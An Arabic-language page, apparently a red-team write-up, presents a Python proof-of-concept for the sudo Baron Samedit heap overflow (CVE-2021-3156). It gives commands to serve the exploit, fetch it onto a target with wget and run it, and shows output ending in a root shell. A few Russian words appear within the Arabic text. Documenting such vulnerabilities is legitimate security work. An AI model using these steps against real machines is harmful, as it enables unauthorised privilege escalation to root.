
أداة استغلال إثبات مفهوم بلغة Python للثغرة CVE-2021-3156 (Baron Samedit)، وهي ثغرة تجاوز سعة المخزن المؤقت في الكومة (heap overflow) في sudoedit تتيح تصعيد الامتيازات محليًا إلى root على إصدارات sudo المصابة.
📅 التاريخ: 2025-06-08
✍️ المؤلف: @TopskiyPavelQwertyGang
🧠 باحث أمني | متحمس للفريق الأحمر
sudoedit (sudo)يسمح تجاوز سعة الكومة (Heap-overflow) في sudoedit للمستخدم المحلي بالحصول على وصول root
عند تنفيذ الأمر sudoedit بمعاملات مُعدّة مسبقًا.
الاستغلال فعّال للإصدارات sudo < 1.9.5p2، بما في ذلك صور Ubuntu/Debian/CentOS الشائعة.
حتى مع تفعيل ASLR تبقى الثغرة قابلة للاستغلال.
OS : Ubuntu 20.04.3 LTS
glibc : 2.31 (tcache ON)
sudo : 1.8.31 (уязвим)
ASLR : 2 (включён)
glibc وsudo:ldd --version
sudo --version
python3 -m http.server 80
wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py
$ python3 exploit_nss.py
# whoami
root
يبقى استغلال CVE-2021-3156 ممكنًا حتى مع تفعيل ASLR، إذا كان glibc ≥ 2.26 وإصدار sudo عرضة للثغرة.
تبيّن أن أكثر ما كان استقرارًا هو استغلال exploit_nss.py، الذي ينجح من المحاولة الأولى عند تكوين NSS بشكل صحيح.
🧨 النظام تحت السيطرة.